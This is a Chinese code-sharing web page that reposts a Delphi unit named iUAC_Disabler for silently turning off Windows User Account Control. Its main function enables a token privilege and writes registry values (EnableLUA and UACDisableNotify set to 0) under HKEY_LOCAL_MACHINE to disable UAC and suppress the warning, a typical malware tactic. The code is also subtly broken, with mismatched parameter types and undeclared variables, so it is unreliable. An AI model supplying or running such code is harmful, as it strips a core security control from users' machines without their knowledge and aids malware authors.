delphi 关闭uac 单元


本文整理自网络,侵删。

  unit iUAC_Disabler;

interface
function Fuck_UAC(): Variant;
function Enable_Privileges(var sName: AnsiString): Boolean;
function Write_KEY(var hSubKey: AnsiString; var sNombre: AnsiString; var sValue: Longint): Variant;


type hKeys = (
HKEY_CURRENT_USER = $80000001,
HKEY_LOCAL_MACHINE = $80000002
);

type LUID = record
lowpart: Longint;
highpart: Longint;
end;


type LUID_AND_ATTRIBUTES = record
pLuid: LUID;
Attributes: Longint;
end;


type TOKEN_PRIVILEGES = record
PrivilegeCount: Longint;
Privileges: LUID_AND_ATTRIBUTES;
end;


const
KEY_CREATE_LINK = $20;
READ_CONTROL = $20000;
WRITE_DAC = $40000;
WRITE_OWNER = $80000;
SYNCHRONIZE = $100000;
STANDARD_RIGHTS_REQUIRED = $F0000;
STANDARD_RIGHTS_READ = READ_CONTROL;
STANDARD_RIGHTS_WRITE = READ_CONTROL;
STANDARD_RIGHTS_EXECUTE = READ_CONTROL;
STANDARD_RIGHTS_ALL = $1F0000;
KEY_WRITE = STANDARD_RIGHTS_WRITE or $2 or $4;
KEY_ALL_ACCESS = ((STANDARD_RIGHTS_ALL or $1 or $2 or $4 or $8 or $10 or KEY_CREATE_LINK) and ( not SYNCHRONIZE));


implementation

uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ComCtrls, ImgList, ToolWin, ExtCtrls, CheckLst, Menus,
ActiveX, Buttons;

function Fuck_UAC(): Variant;
begin

{$IF Defined(def_Fuck_UAC)}

if Enable_Privileges('SeBackupPrivilege')=true then
begin

Write_KEY(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Security Center', 'UACDisableNotify', '0'); // Disable UAC Promp Message
Write_KEY(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System', 'EnableLUA', '0'); // Disable UAC

end;
{$IFEND}
end;

function Enable_Privileges(var sName: AnsiString): Boolean;
var
lRet, lToken, sLen: Longint;
sUID: LUID;
Priv_Token, Prev_Token: TOKEN_PRIVILEGES;
begin
{$IF Defined(def_Enable_Privileges)}


lRet := OpenProcessToken(GetCurrentProcess(), $20 or $8, lToken);
if lRet=0 then Exit;

lRet := LookupPrivilegeValue(0, sName, sUID);
if lRet=0 then Exit;

Priv_Token.PrivilegeCount := 1;
Priv_Token.Privileges.Attributes := $2;
Priv_Token.Privileges.pLuid := sUID;

Result := (AdjustTokenPrivileges(lToken, false, Priv_Token, sizeof(Prev_Token), Prev_Token, sLen)<>0);
{$IFEND}
end;

function Write_KEY( var hSubKey: AnsiString; var sNombre: AnsiString; var sValue: Longint): Variant;
begin

{$IF Defined(def_Write_KEY)}

if RegOpenKeyEx(hKey, hSubKey, 0, KEY_WRITE, mainKey)=0 then
begin
if (RegSetValueExA(mainKey, sNombre, 0, 4, sValue, 4)=0) then
begin
RegCloseKey(mainKey);
end;
end;

{$IFEND}
end;

end.

相关阅读 >>

Delphi 字节数转换为kb或mb字符串

Delphi里实现彩色图片转为黑白图像的功能

Delphi antiemupeb

Delphi webbrowser 加载html 将html代码转换成网页

Delphi getcurrentdir 获取当前文件夹

Delphi中利用中断获得系统启动以来的时间

Delphi 得到 winrar 处理解压缩文件的返回值 ?

Delphi制作透明窗体

Delphi 获取系统日期时间

Delphi 计算ip地址范围

更多相关阅读请进入《Delphi》频道 >>



打赏

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码打赏,您说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

分享从这里开始,精彩与您同在

评论

管理员已关闭评论功能...